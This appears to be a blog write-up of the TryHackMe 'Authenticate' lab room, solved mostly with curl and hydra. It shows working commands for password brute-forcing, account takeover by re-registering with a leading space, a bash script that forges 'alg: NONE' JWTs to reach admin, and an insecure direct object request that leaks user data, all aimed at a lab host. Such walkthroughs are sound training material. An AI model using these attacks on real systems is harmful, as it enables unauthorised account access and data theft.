THM - Authenticate (alternative approach)

Write-up for the Authenticate room on TryHackMe

THM - Authenticate (alternative approach)
Room card for Authenticate

A new room opened up recently on TryHackMe called Authenticate, so I thought I'd give it a shot and write this blog post whilst doing it.

It looks to be a relatively simple "walkthrough" style room where they give you all the information you need in order to crack it.

I shall try to use different methods than the intended path as a test to show that for a lot of tasks there are many ways you can solve the challenges.

Task 1 - Deploy the VM

OK, so for the first task there isn't really a different approach as all you need to do is click the Deploy button and confirm that you have done this:

Success!

Task 2 - Dictionary Attack

The text in this task describes how you would go about brute forcing the password for users jack and mike using BurpSuite. I thought I'd demonstrate that you can achieve the same result using hydra.

For a lot of the rooms, I try to stay away from requiring graphical tools as I'm generally more a fan of the command line and I frequently access TryHackMe from a machine I'm SSHd into and don't readily have access to a GUI on.

The first step in the process of hacking this site using hydra is to find out what endpoint the login form is sending the details to.

This can be done using your favourite browser's DevTools (at least this is what it's called in Chrome, other browsers may refer to their tools by a different name). Two options immediately spring to mind from within the DevTools: 1) examine the HTML and see what the form is doing, or 2) have the Network (or equivalent) tab open and enter dummy details in the username/password boxes and see where the request is sent.

It can also be done by using curl to grab the page source and viewing what the form is doing from the command line:

<form class="navbar-form navbar-right" style="text-align: right" role="form" method="post">
  <div class="form-group">
    <input type="text" style="font-size: 100%" placeholder="Username" class="form-control" name="user">
  </div>
  <div class="form-group">
    <input type="password" style="font-size: 100%" placeholder="Password" class="form-control" name="password">
  </div>
  <button formaction="/login" type="submit" class="btn btn-success">Sign in</button>
  <a href="/register"><button type="button" class="btn btn-success">Register</button></a>
</form>
The relevant portion of the HTML

From this you can see that we're sending a POST request to /login with the parameters user and password.

The other piece of information you need for hydra to function is what the error message shows when you send incorrect credentials. For this you can send an curl POST request with dummy information:

curl http://10.10.146.29:8888/login --data 'user=jack&password=wrong'

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<title>Redirecting...</title>
<h1>Redirecting...</h1>
<p>You should be redirected automatically to target URL: <a href="/error/invalid_credentials">/error/invalid_credentials</a>.  If not click the link.
Sending an incorrect login request

As you can see, the resultant text contains the word invalid. This should probably be sufficient to craft a hydra command to attach the form.

For this I am using the rockyou.txt password list. This is generally my go-to list and is easily located on the internet. Other password lists may also do the trick.

The command I ended up creating looked like this:

hydra -l jack -P ../rockyou.txt "http-post-form://10.10.146.29:8888/login:user=^USER^&password=^PASS^:Invalid"
Command line used to initiate the hydra attack

The results from running this will look something like this:

Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-05-25 21:37:22
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344398 login tries (l:1/p:14344398), ~896525 tries per task
[DATA] attacking http-post-form://10.10.146.29:8888/login:user=^USER^&password=^PASS^:Invalid
[8888][http-post-form] host: 10.10.146.29   login: jack   password: <redacted>
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2020-05-25 21:37:27
Hydra results

As you can see, hydra found the correct password for jack in around five seconds. I suspect that the password was quite high up in rockyou.txt. Had it not been, the attack could have taken much longer.

Using the password you can now log in as jack and grab the first flag:

Jack's flag

The process can then be repeated for mike.

Task 3 - Re-registration

This task consists of abusing the sanitisation the website is applying to inbound data and asks you to hijack the accounts for darren and arthur.

This task can also be completed entirely from the command line using just curl. This may seem like a waste of effort, but I feel that knowing command line tools is very useful as you could end up needing to do something like this when the only access to a machine you have is through a shell with no GUI available.

First of all, we need to locate where the registration page is by looking at the HTML you pull back using curl:

<a href="/register"><button type="button" class="btn btn-success">Register</button></a>
Registration endpoint

curling this URL shows us the form which we need to populate in order to complete a registration:

<form role="form" action="/register/submit" method="post" enctype="multipart/form-data">
  <div class="task-box col-md-6 col-md-offset-3">
    <h1>Register</h1>
    <br/>
    <br />
    <label>Username:</label>
    <input type="text" class="form-control" style="font-size: 100%" name="user" required="required">
    <br />
    <label>Email:</label>
    <input type="email" class="form-control" style="font-size: 100%" name="email" required="required">
    <br />
    <label>Password:</label>
    <input type="password" class="form-control" style="font-size: 100%" name="password" required="required">
    <br />
    <input type="submit" name="submit" style="font-size: 100%" class="lf--submit" id="submit" value="Register" class="btn btn-info btn-block">
  </div>
</form>
HTML for registration form

If we try to register as darren we find that we're unable to as darren is already registered:

curl http://10.10.146.29:8888/register/submit --data "user=darren&email=fake&password=1234"

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<title>Redirecting...</title>
<h1>Redirecting...</h1>
<p>You should be redirected automatically to target URL: <a href="/error/already_registered">/error/already_registered</a>.  If not click the link.
Failing to register as a user who already exists

As suggested by the task text, we should be able to register as darren (note the leading space). In curl, we should probably encode the space to %20:

curl http://10.10.146.29:8888/register/submit --data "user=%20darren&email=fake&password=1234" -c cookies-b cookies

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<title>Redirecting...</title>
<h1>Redirecting...</h1>
<p>You should be redirected automatically to target URL: <a href="/">/</a>.  If not click the link.
Registering our fake 'darren'

We include the -b and -c parameters to curl as we want to capture the cookies which are set when the user is logged in so we can reuse them when we try to reach the /logged endpoint:

curl http://10.10.146.29:8888/logged -v -c cookies -b cookies
Retrieving darren's flag

The process can then be repeated for arthur.

Task 4 - JSON Web Token

For this task we are encouraged to abuse some properties of JWT (JSON Web Token) in order to escalate the privileges which the web application thinks we're entitled to. I won't explain the concepts behind how JWT can be broken as the task text does a great job of doing this.

What I will do, however, is to show how this can be done from the command line rather than using BurpSuite.

To start with, we'll find the login form on the server running on port 5000 so we know where we're attacking:

curl -v http://10.10.146.29:5000
curl command to locate the endpoint we need to send login details to

There's a slightly different setup to this website as it uses XHR (XMLHttpRequest) to send the data rather than redirecting the browser to a different location. Still, it's easy enough to see what the authentication endpoint is so that we can send credentials to it:

var host = window.location.hostname;
xmlhttp.open("POST", "http://"+host+":5000/auth");
xmlhttp.setRequestHeader("Content-Type", "application/json");

usr = document.getElementById("username").value;
pwd = document.getElementById("password").value;
foo = xmlhttp.send(JSON.stringify({username:usr, password:pwd}));
Details for the auth endpoint

We can see that the javascript takes the hostname from the window location and forms a url of http://<hostname>:5000/auth so we know the endpoint is simply what we used to access this information with auth tacked on the end.

We can also see that it's sending the payload as JSON and the names of the fields within the JSON object which it's expecting.

As we have been given the username and password of user:user, let's use that in our curl command:

curl -v http://10.10.146.29:5000/auth --data '{"username": "user", "password": "user"}' -H "Content-Type: application/json"
Authenticating using curl

The response from the server for this is a JSON object containing the access_token which is the JWT token we're looking for:

{"access_token":"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJleHAiOjE1OTA0NDM2MTUsImlhdCI6MTU5MDQ0MzMxNSwibmJmIjoxNTkwNDQzMzE1LCJpZGVudGl0eSI6MX0.QIDzeAnzMgkR09bCnMseqDbSGkmw6jCMIw42JgoABxw"}
The returned access token

We can see from our initial request that there is another method called getAdmin() which makes a GET call to /protected. Judging by how it handles the response, it should pop up and alert and set the paragraph <p> element with the id of welcome to have the response back from this endpoint set as it's innerHTML.

As such, we should be able to call this endpoint with the JWT we just got back and see what it returns:

curl http://10.10.146.29:5000/protected -H "Content-Type: application/json" -H "Authorization: JWT eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJleHAiOjE1OTA0NDQ1NzgsImlhdCI6MTU5MDQ0NDI3OCwibmJmIjoxNTkwNDQ0Mjc4LCJpZGVudGl0eSI6MX0.8OrkqbJycXbTMW61yyAgO9fou5KYdwDraD56IDQdNwU"

Welcome user: guest

So we now know that we can call the protected endpoint with the valid JWT which it returned to us.

Let's strip apart the JWT to see what it contains:

echo -n "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9" | base64 -d
{"typ":"JWT","alg":"HS256"}

echo -n "eyJleHAiOjE1OTA0NDQ1NzgsImlhdCI6MTU5MDQ0NDI3OCwibmJmIjoxNTkwNDQ0Mjc4LCJpZGVudGl0eSI6MX0" | base64 -d
{"exp":1590444578,"iat":1590444278,"nbf":1590444278,"identity":1}
base64 decoding of the first two elements of the JWT

This is pretty standard JWT as described in the task text. One thing I do notice on it is that the expiry time is relatively short, so the token we start with may not be valid if we spend too much time manipulating it.

For anyone who's interested, the additional parts of the JWT payload are:

exp - expiry time - The time the token expires
iat - issued at   - The time the token was generated
nbf - not before  - The time the token is valid from
JWT fields

To make my life relatively simple, I'm going to script fetching the valid JWT, manipulating it into using a different identity provided as an argument to the script and then calling the /protected endpoint to retrieve the result. The script looks something like this:

#!/bin/bash

header=$(echo '{"typ":"JWT","alg":"NONE"}' | base64url | sed 's/=*$//')
payload=$(curl -s http://10.10.146.29:5000/auth --data '{"username": "user", "password": "user"}' -H "Content-Type: application/json" | \
     sed 's/.*:".*\.\(.*\)\..*$/\1/' | base64 -d 2>/dev/null | sed "s/\:1\}/\:$1\}/" | base64url | sed 's/=*$//')
jwt="${header}.${payload}."

curl -s http://10.10.146.29:5000/protected -H "Content-Type: application/json" -H "Authorization: JWT ${jwt}"
echo
bash script to manipulate the token

This can the be called like so:

$ ./test.sh 1
Welcome user: guest

$ ./test.sh 2
Welcome user2: guest2

$ ./test.sh 3
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<title>500 Internal Server Error</title>
<h1>Internal Server Error</h1>
<p>The server encountered an internal error and was unable to complete your request. Either the server is overloaded or there is an error in the application.</p>

$ ./test.sh 0
Welcome admin: 92<redacted>

Which has given us the flag we need to complete Task 4

Task 5 - No Auth

Again, the task text is pretty self explanatory. Again, I will complete the challenge using only curl.

First of all, we'll start by grabbing the form info we need from the website by issuing a simple curl command:

curl http://10.10.146.29:7777
Having a look at how the form works
<form method="post" action="/signup" enctype="multipart/form-data">
  <div class="form-group">
    <label>Create new user:</label></br>
    Username:  <input type="text" name="username"><br>
    Password:  <input type="password" name="password"></br>
  </div>
  <button class="btn btn-primary" type="submit">Create user</button>
</form>
The form as extracted from the HTML

We'll send an arbitrary username and password to it:

curl -c cookies -b cookies http://10.10.146.29:7777/signup --data "username=curl&password=rocks"
curl request to create a user

From this we get back an Account created Successfully message along with another form for accessing our data:

<form method="get" action="/users/1" enctype="multipart/form-data">
  <div class="form-group">
    <h2>Hello curl!:</h2><br>
  </div>
  <button class="btn btn-primary" type="submit">Visit private space</button>
</form>
Form to get my data

It doesn't even look like the web application sets any cookies, so we should be able to just request any old user:

curl http://10.10.146.29:7777/users/0
grabbing user 0's details

With the server responding:

<form method="post" action="/home" enctype="multipart/form-data">
  <div class="form-group">
  <p><h3>Your password: </h3>ab<redacted></p>
  <p><h3>Your secret data: </h3>Here&#39;s your flag: 72<redacted></p>	
  </div>
</div>	
</form>

With this we now have all the data we need to complete the room.

Summary

I appreciate that I approached this in a completely different way than the creator intended. I think sometimes it's useful to push yourself to see if you can do something different and I had to put a reasonable amount of effort into working out what I was doing with this.

Ultimately, with the different approach and writing this blog post at the same time, the room probably took me 4-6 times as long to complete as it should have had I approached it as intended. Still, I learned a few things along the way, which is what I'm here for.

Thanks for reading - hopefully I'll be back with another room write-up at some point soon.